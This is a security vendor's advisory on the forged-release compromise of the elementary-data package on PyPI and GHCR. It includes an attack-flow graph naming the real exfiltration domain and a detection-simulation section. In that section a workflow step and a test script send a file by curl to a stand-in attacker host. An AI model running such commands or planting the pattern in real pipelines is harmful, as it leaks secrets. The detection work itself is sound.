SOC Prime Bias: Critical

29 Apr 2026 17:42

Elementary-data Compromised on PyPI and GHCR via Forged GitHub Release

Author Photo
SOC Prime Team linkedin icon Follow
Elementary-data Compromised on PyPI and GHCR via Forged GitHub Release
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Summary

A malicious version of the elementary-data Python package, version 0.23.3, was uploaded to PyPI, while a matching compromised container image was also pushed to GitHub Container Registry. The attacker inserted malicious code into a GitHub Actions workflow, forged a signed release, and then abused the workflow token to publish the backdoored artifacts. The payload functioned as a three-stage credential stealer designed to collect secrets and exfiltrate them to an attacker-controlled domain. Any environment that installed the affected package or pulled the latest container image was exposed to compromise.

Investigation

The investigation found that the attack began with a comment on an open pull request that was inserted directly into a workflow script, enabling script injection. Using the workflow’s GITHUB_TOKEN, the attacker created a forged release commit and triggered the publishing process, which then distributed the trojanized wheel and Docker image. Analysis showed that a malicious .pth file decoded a Base64 wrapper, decrypted the final collection component, and harvested a broad set of credentials before sending them to a custom command-and-control domain through curl.

Mitigation

Project maintainers removed the malicious package version from PyPI and deleted the compromised image from GHCR before publishing a clean replacement, version 0.23.4. StepSecurity added the malicious package version and the attacker-controlled domain to the Harden-Runner blocklist and blocked the package during pull request execution. Developers should pin exact package versions and image digests, avoid relying on floating tags, and audit installed dependencies for unexpected .pth files.

Response

Defenders should search for the presence of elementary.pth inside site-packages and identify systems that pulled the suspicious Docker image digest. Outbound connections to the known command-and-control domain should be blocked immediately. Security teams should scan developer workstations and build environments for exposed secret material, remove any compromised packages, and rotate affected credentials. CI/CD pipelines should also be updated to validate package provenance and enforce strict image pinning.

"graph TB %% Class Definitions Section classDef action fill:#ffcc99 classDef tool fill:#cccccc classDef malware fill:#ff9999 %% Node definitions – Actions node_supply_chain["<b>Action</b> – <b>T1195.002 Supply Chain Compromise</b><br/>Attacker publishes malicious version 0.23.3 of elementaryu2011data to PyPI and pushes a trojaned Docker image to GHCR using the projectu2019s legitimate publishing pipeline."] class node_supply_chain action node_exploit_cred["<b>Action</b> – <b>T1212 Exploitation for Credential Access</b><br/>Script injection in a GitHub Actions workflow via a crafted comment executes a curlu202f|u202fbash stager, leveraging the repository GITHUB_TOKEN to create a forged release commit."] class node_exploit_cred action node_implant_image["<b>Action</b> – <b>T1525 Implant Internal Image</b><br/>The malicious Docker image (tagged latest) is pulled and run, providing a persistent malicious runtime environment."] class node_implant_image action node_user_exec["<b>Action</b> – <b>T1204.003 User Execution: Malicious Image</b><br/>Containers instantiated from the compromised image automatically execute the payload on startup."] class node_user_exec action node_cred_files["<b>Action</b> – <b>T1552.001 Unsecured Credentials: Credentials In Files</b><br/>The payload harvests SSH private keys, cloud provider credentials, Docker and Kubernetes configs, and other secret files."] class node_cred_files action node_private_keys["<b>Action</b> – <b>T1552.004 Unsecured Credentials: Private Keys</b><br/>Specific collection of private key files from .ssh and wallet directories."] class node_private_keys action node_archive["<b>Action</b> – <b>T1560 Archive Collected Data</b><br/>Collected data is compressed into a taru2011gz archive."] class node_archive action node_archive_lib["<b>Action</b> – <b>T1560.002 Archive via Library</b><br/>Uses the tar library to create trin.tar.gz."] class node_archive_lib action node_obfusc["<b>Action</b> – <b>T1027.015 Obfuscated Files or Information: Compression</b><br/>The malicious .pth file is base64u2011encoded and XORu2011withu2011MD5 encrypted to hide code."] class node_obfusc action node_pass_hash["<b>Action</b> – <b>T1550.002 Use Alternate Authentication Material: Pass the Hash</b><br/>The payload employs XORu2011withu2011MD5 keystream encryption to obscure its stages."] class node_pass_hash action node_exfil["<b>Action</b> – <b>T1048 Exfiltration Over Alternative Protocol</b><br/>The archive is exfiltrated via a single curl POST to the C2 domain igotnofriendsonlineorirlu2011imgonnakmslmao.skyhanni.cloud."] class node_exfil action %% Node definitions – Tools tool_pypi["<b>Tool</b> – <b>Name</b>: PyPI<br/><b>Type</b>: Python package repository"] class tool_pypi tool tool_ghcr["<b>Tool</b> – <b>Name</b>: GitHub Container Registry (GHCR)<br/><b>Type</b>: Docker image registry"] class tool_ghcr tool tool_github_actions["<b>Tool</b> – <b>Name</b>: GitHub Actions<br/><b>Type</b>: CI/CD workflow engine"] class tool_github_actions tool tool_curl["<b>Tool</b> – <b>Name</b>: curl<br/><b>Type</b>: Commandu2011line data transfer utility"] class tool_curl tool tool_bash["<b>Tool</b> – <b>Name</b>: bash<br/><b>Type</b>: Shell interpreter"] class tool_bash tool %% Node definitions – Malware / Payload malware_docker_image["<b>Malware</b> – <b>Name</b>: Malicious Docker Image<br/><b>Tag</b>: latest"] class malware_docker_image malware malware_payload["<b>Malware</b> – <b>Name</b>: Payload .pth file<br/><b>Obfuscation</b>: Base64 + XORu2011MD5"] class malware_payload malware %% Connections – Supply Chain node_supply_chain –>|publishes to| tool_pypi node_supply_chain –>|pushes image to| tool_ghcr tool_ghcr –>|hosts| malware_docker_image %% Connections – Credential Exploitation node_exploit_cred –>|injects script into| tool_github_actions tool_github_actions –>|executes| tool_curl tool_curl –>|pipes to| tool_bash tool_bash –>|runs| malware_payload %% Connections – Image Implantation and Execution malware_docker_image –>|run by| node_implant_image node_implant_image –>|triggers| node_user_exec node_user_exec –>|executes| malware_payload %% Connections – Credential Collection malware_payload –>|collects| node_cred_files node_cred_files –>|also collects| node_private_keys %% Connections – Data Archiving and Obfuscation node_cred_files –>|passed to| node_archive node_archive –>|uses| node_archive_lib node_archive_lib –>|produces| node_obfusc node_obfusc –>|used by| node_pass_hash %% Connections – Exfiltration node_pass_hash –>|exfiltrates via| node_exfil node_exfil –>|uses| tool_curl "

Attack Flow

## Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic.

  • Attack Narrative & Commands:
    An attacker has compromised a repository that uses GitHub Actions for CI/CD. They add a malicious step to the workflow file:

    - name: Exfiltrate data
      run: |
        bash -c "curl --data-binary @/tmp/secret_data http://malicious.example.com/loot"

    When the workflow runs on the GitHub Actions runner, the process tree looks like:

    1. sh -c bash -c "curl --data-binary @/tmp/secret_data http://malicious.example.com/loot"
    2. bash -c "curl --data-binary @/tmp/secret_data http://malicious.example.com/loot" (parent process)
    3. curl --data-binary @/tmp/secret_data http://malicious.example.com/loot (child process)

    The auditd record for step 2 contains a command line with both bash and curl --data-binary, satisfying the Sigma condition.

  • Regression Test Script:

    #!/usr/bin/env bash
    #
    # Simulate the malicious GitHub Actions step that should trigger the detection rule.
    # Creates a temporary file, writes dummy data, then exfiltrates it via curl wrapped in bash.
    
    set -euo pipefail
    
    # 1. Create dummy secret data
    tmpfile=$(mktemp /tmp/secret_data.XXXXXX)
    echo "sensitive_information_$(date +%s)" > "$tmpfile"
    
    # 2. Perform the exfiltration using the vulnerable pattern
    bash -c "curl --data-binary @$tmpfile http://malicious.example.com/loot"
    
    # 3. Output confirmation for the tester
    echo "Malicious exfiltration simulated; temp file $tmpfile should be deleted by cleanup."
  • Cleanup Commands:

    #!/usr/bin/env bash
    # Remove any temporary files created during the simulation
    rm -f /tmp/secret_data.*
    
    # Optionally, stop any lingering curl processes (should not be needed)
    pkill -f "curl --data-binary" || true